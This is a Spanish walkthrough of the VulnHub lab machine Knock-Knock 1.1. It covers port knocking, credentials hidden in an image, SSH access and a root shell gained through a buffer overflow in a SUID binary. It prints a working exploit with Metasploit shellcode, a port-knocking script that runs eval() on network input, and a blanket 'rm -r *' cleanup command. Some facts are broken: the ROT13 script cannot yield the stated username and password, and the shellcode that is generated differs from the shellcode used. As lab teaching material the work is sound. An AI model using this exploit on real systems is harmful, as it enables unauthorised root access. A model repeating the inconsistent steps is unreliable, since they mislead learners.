Knock-Knock: 1.1

1. Búsqueda y descarga

Buscamos la máquina que queramos vulnerar en vunhulb, en este caso la Knock-Knock 1.1. Tras encontrarla la descargamos y la importamos a la máquina virtual, en este caso estamos usando la máquina virtual VM virtualBox.

Abrimos la máquina virtual y le damos a importar, buscamos donde hemos descargado la máquina virtual y la importamos, esto tardará unos segundos. Tras esto antes de iniciarla es importante que configuremos unos parámetros para que la máquina funcione perfectamente.

- Nos vamos a la configuración de esta máquina al apartado de red, y cambiamos la parte de “Conectado a:” de NAT, a Adaptador puente.
- En esta misma pestaña de red, en el apartado de advanced en la parte de “Modo promiscuo:” pasamos de denegar, a permitir todo.

¿Por qué hemos cambiado el tipo de red? Por que si dejamos NAP, la máquina virtual no sería visible desde la red local, al cambiarla a adaptador puente permite que la máquina obtenga su propia IP para interactuar con esta.

¿Por qué hemos cambiado el modo advanced? Esto se hace ya que si no la máquina no va a procesar paquetes externos, solo procesaría los que sean destinados a su dirección MAC. Esto se hace para que se pueda analizar el tráfico de la red, o simular ataques a la máquina.

Tras haber hecho los pasos anteriores y comprendido el porqué de esos cambios, iniciamos la máquina descargada y configurada.
Posteriormente iniciamos la máquina atacante, es decir, la máquina desde donde vamos a intentar vulnerar nuestra máquina Knock-Knock 1.1. Esta máquina atacante es Kali-lunix, y la iniciamos desde VMware.

2. Antes de comenzar

Vamos a dejar nuestro espacio de trabajo lo más limpio posible, así que por si hemos ejecutado algo anterior que puede interferir.

- Nos movemos al directorio escritorio para poder tener accesible todo lo que necesitemos. Esto se hace mediante el comando “cd desktop”
- Tras situarnos en este lugar eliminamos todo lo que podamos haber creado en un intento de vulnerar otra máquina. Esto se hace mediante el comando “rm -r *”

Tras limpiarlo lo idóneo es crear un nuevo directorio con el nombre de la máquina para ir dejando ahí todos los recursos que vayamos a usar. Esto se hace gracias al comando “mkdir Knock-Knock 1.1”. Después de crearlo nos movemos a ese directorio con el comando “cd Knock-Knock 1.1”.

3. Primera fase

La primera fase para vulnerar una máquina virtual consiste en ver si la máquina es accesible en nuestra red tras iniciarla ya que a veces puede haber fallos. Esto lo hacemos mediante el comando “arp-scan -I eth0 –localnet”. En este comando hay un detalle importante que es el “eth0”, esto lo ponemos ya que si ejecutamos el comando “ifconfig”, vemos que en la interfaz eth0 está nuestra dirección IP, por eso debemos ejecutar el comando con esa pequeña modificación.

Que puede suceder cuando ejecutemos el comando, que no muestre nada, tras unos intentos lo que nos puede indicar que la máquina a la que queremos atacar no se ha conectado bien, en este caso lo que hay que hacer es reiniciar la máquina, en la barra de opciones selecciona “Máquina” y le aplicamos un reinicio. Si esto no funciona podemos cambiar uno de los parámetros de configuración del principio, en concreto el de advanced, poniendo en vez de permitir en todos, permitir MVs. Para hacer esto hay que apagar la máquina primero. Con esto permitimos únicamente máquinas virtuales para acceder a nuestra máquina que va a ser atacada.

Tras cambiar esto al ejecutar el comando arp-scan mencionado anteriormente veremos cómo aparece la dirección de nuestra máquina. Es importante apuntar esta dirección en algún lado.

Con la dirección de la máquina apuntada ejecutamos el comando “nmap -p- –open -sS -sC -sV –min-rate 5000 -vvv -n -Pn dirección -oN fichero”.

- El parámetro -p: puertos abiertos.
- El parámetro –open: que de verdad estén abiertos.
- El parámetro -sS: Para que el escaneo no sea muy detectable.
- El parámetro -sC: Conjunto de scripts de nmap para que nos busque más información.
- El parámetro -sV: versión de cada entorno de los puertos.
- El parámetro -min-rate: Para que aumente la velocidad.
- El parámetro 5000: Velocidad del min-rate.
- El parámetro -vvv: Se conoce como triple vervose, para que a medida que me encuentre algo me lo reporte.
- El parámetro -n: Que no ejecute resolución DNS para ahorrar tiempo.
- El parámetro -Pn: Para que no haga ping a la hora de buscar información, así evitamos que bloquee trazas icmp.
- El parámetro -oN: Guardar los datos del escaneo en el archivo fichero (se le puede poner otro nombre).

Gracias a este escaneo de puertos con nmap podemos identificar que el puerto TCP 1337 está abierto y ejecutándose en un sistema Ubuntu de Linux.

Ya que solo nos devuelve este puerto lo que hacemos es conectarnos a este con un netcat => “nc -nv 10.10.10.140 1337”, el cual nos arroja una secuencia de número lo que significa que debemos “tocar”, hacer un intento de conexión a estos puertos en el orden correcto para así lograr desbloquear los servicios. Si nos volvemos a conectar al puerto con netcat observamos que la secuencia de números cambia, asi que desarrollamos un pequeño script para probar todas las combinaciones de estos números.

```
#!/usr/bin/env python

from socket import *
from itertools import permutations

ip = "10.10.10.140"

def knock_ports(ports):
    for port in ports:
        try:
            print("[*] Knocking on port:", port)
            s = socket(AF_INET, SOCK_STREAM)
            s.settimeout(0.1)
            s.connect_ex((ip, port))
            s.close()
        except Exception as e:
            print("[-]", e)

def main():
    s = socket(AF_INET, SOCK_STREAM)
    s.connect((ip, 1337))
    r = eval(s.recv(1024))  # Recibe la secuencia de puertos
    s.close()

    print("Received:", r)

    for comb in permutations(r):  # Prueba todas las combinaciones posibles
        print("\n[*] Trying sequence", comb)
        knock_ports(comb)

    print("[*] Done")

main()
```

Lo que hace este pequeño script es conectarse al puerto 1337 para recibir la lista de puertos que saca, y probar todas las combinaciones posibles de port Knocking. Tras ejecutar este script en nuestra terminal procedemos a volver a ejecutar el comando nmap,

este nos dice tras ejecutarlo que se han abierto dos puertos el 22 con protocolo SSH y el 80 con protocolo HTTP, este último podemos verlo desde el navegador.

Al visitar " http://10.10.10.140/" en el navegador vemos que este aloja una imagen llamada "knock_knock.jpg", y no contiene nada más, así que al descargamos desde la terminal con el comando "wget http://10.10.10.140/knock_knock.jpg". Al abrir la imagen ya descargada no vemos nada en especial que nos pueda ayudar a vulnerar la máquina así que por si acaso probamos a buscar información oculta dentro de la imagen.
Esto lo podemos hacer gracias al comando => "strings + nombre del archivo | less", este comando es una herramienta de Linux la cual extrae cadenas de texto legible de un archivo binario, ya sea una imagen como en este caso, o como un archivo comprimido, y la parte de less lo que hace es que esta salida de texto sea legible por la consola y el usuario pueda navegar por esta.

Tras la ejecución del comando obtenemos unas credenciales que están encriptadas =>

Login Credentials
abfnW
sax2Cw90W

Al intentar concentrarnos con estas credenciales vemos que no nos es posible, así que deben estar encriptadas, se pueden desencriptar de varias formas pero he optado por hacer un script para descifrarlas, este script usa la biblioteca codecs que es un módulo que proporciona herramientas para la codificación y la descodificación de texto en diferentes formatos.

```
import codecs

user = "abfnW"
password = "sax2Cw90w"

print("User:", codecs.decode(user, 'rot_13'))
print("Password:", codecs.decode(password, 'rot_13'))
```

Tras ejecutar este script la salida que nos arroja es =>

User: Jason (para que funcione en ssh hay que ponerlo en minúscula)
Password: jB9jP2knf

Ahora con las credenciales correctas probamos a conectarnos mediante SSH, con el comando => "ssh jason@10.10.10.140" y tras esto ingresamos la contraseña proporcionada, tras esto ya estamos en el sistema, ahora a buscar una escalada de privilegios hasta convertirnos en root.

Tras esto usamos el comando=> "python -c "import pty; pty.spawn('/bin/bash')", para asi transformar la shell en una shell interactiva.

Una práctica habitual para la escalada de privilegios es buscar archivos con SUID, estos archivos tienen el bit SUID activado, lo que permite que el archivo se ejecute con los

permisos de su propietario, y no con el que estamos iniciados en la máquina. Para buscar estos archivos podemos usar el comando => “find / -perm -u=s -type f 2>/dev/null”.

- find / : busca en todo el sistema.
- -perm -u=s : Filtra archivos con permisos SUID.
- -type f : busca archivos no directorios.
- 2>/dev/null : oculta mensajes de error para que no tengamos una terminal repleta de estos.

Este comando nos arroja un programa sospechoso que es el /usr/bin/tfc, este es un programa de cifrado de archivos, para usarlo se usa el comando ./tfc in.tfc out.tfc, donde el primer argumento es el archivo de entrada, y el segundo es el archivo de salida. para probar si tiene buffer overflow en el primer archivo probamos a meter muchas letras, esto lo hacemos con el comando => python -c “print ‘A’*5000” > in.tfc, al hacer esto y volver a probar el comando anterior nos da un error “Segmentation fault”.

Probando nos damos cuenta de que el encriptado siempre comienza con los mismos bytes ‘def0 5bab’, esto podría ser un patrón para descubrir datos encriptados en memoria.

Usamos el comando => “msfelfscan -j esp tfc”, que busca patrones específicos en ejecutables ELF. Esto nos devuelve “0x08048e93 jmp esp”.
Ahora vamos a utilizar el comando msfconsole para desplegar una terminal y general un shellcode. Para ello una vez dentro de la terminal de msf hay que ejecutar los siguientes pasos:

1. Comando: “msf > use payload/linux/x86/exec” ejecuta un comando en una maquina linux de 32 bits.
2. Comando: “msf payload(exec) > show options” para ver las opciones disponibles de este payload.
3. Comando: “msf payload(exec) > set CMD /bin/sh” este es el comando que se ejecutará cuando se ejecute la shellcode.
4. Por ultimo para generar el shellcode se usa el comando “msf payload(exec) > generate -b '\x00\x0a\x0d'”, este nos arroja una salida:

```
buf =  b"\xda\xc1\xd9\x74\x24\xf4\x5b\x29\xc9"
buf += b"\xb1\x0b\x31\x43\x14\x83\xc3\x04\x03\x46\x11\x1e"
buf += b"\x27\xa7\x73\xf5\x29\x57\xab\x9d\xb4\x3a\x8e\xdc"
buf += b"\xf3\x3e\x14\xf7\x3a\x4c\x51"
```

Con este shellcode podemos hacer un programa en python que genera una cadena de texto para explotar la vulnerabilidad de desbordamiento de buffer.

```
#/usr/bin/python

shellcode =
"\xb8\x87\x10\x54\x8e\xd9\xc3\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x0b\x31\x46\x15
\x83\xc6\x04\x03\x46\x11\xe2\x72\x7a\x5f\xd6\xe5\x29\x39\x8e\x38\xad\x4c\xa9\x
2a\x1e\x3c\x5e\xaa\x08\xed\xfc\xc3\xa6\x78\xe3\x41\xdf\x73\xe4\x65\x1f\xab\x86
\x0c\x71\x9c\x35\xa6\x8d\xb5\xea\xbf\x6f\xf4\x8d"

content = 'A' * 4124
```

```
content += "\x93\x8e\x04\x08"
content += "\x90" * 20
content += shellcode
content += 'C' * (5000 - 4124 - 4 -20 -70)

print content
```

Para ejecutar este programa usamos el comando: “python nombredelcodigopython.py > in.tfc”, luego probamos a encriptar el archivo con tfc: “./tfc in.tfc out.tfc”, tras ejecutarlo salta el mismo fallo que anteriormente Segmentation fault, este fallo genera un archivo en tmp el cual con el comando: “xxd /tmp/core-tfc-11-0-0-18419-1434802506 | grep 'def0 5bab'”, lo que hacemos es transformar archivos binarios en hexadecimal y en este caso como hemos mencionado busca la cadena “def0 5bab”.
Tras esto usamos el comando: “dd if=/tmp/core-tfc-11-0-0-18419-1434802506 of=exp.tfc skip=213824 count=5000 bs=1”, este comando lo que hace es extraer un bloque específico del archivo que ha generado el comando anterior que daba fallo para así eliminar la parte que falla al hacer el cifrado.
Por último usamos el comando con el archivo generado para encriptarlo con ./tfc, este archivo es es exp.tfc, usamos el comando: “./tfc exp.tfc pwn.tfc”, lo que con éxito nos introduce en la máquina como root, hacemos ls y vemos una carpeta que se llama “the_flag_is_here”, dentro encontramos un txt que al abrirlo nos saca una cadena de caracteres que forman la palabra knock-knock, y nos da la contraseña de root, que ya “tenemos” puesto que hemos desplegado una terminal teniendo permisos de root.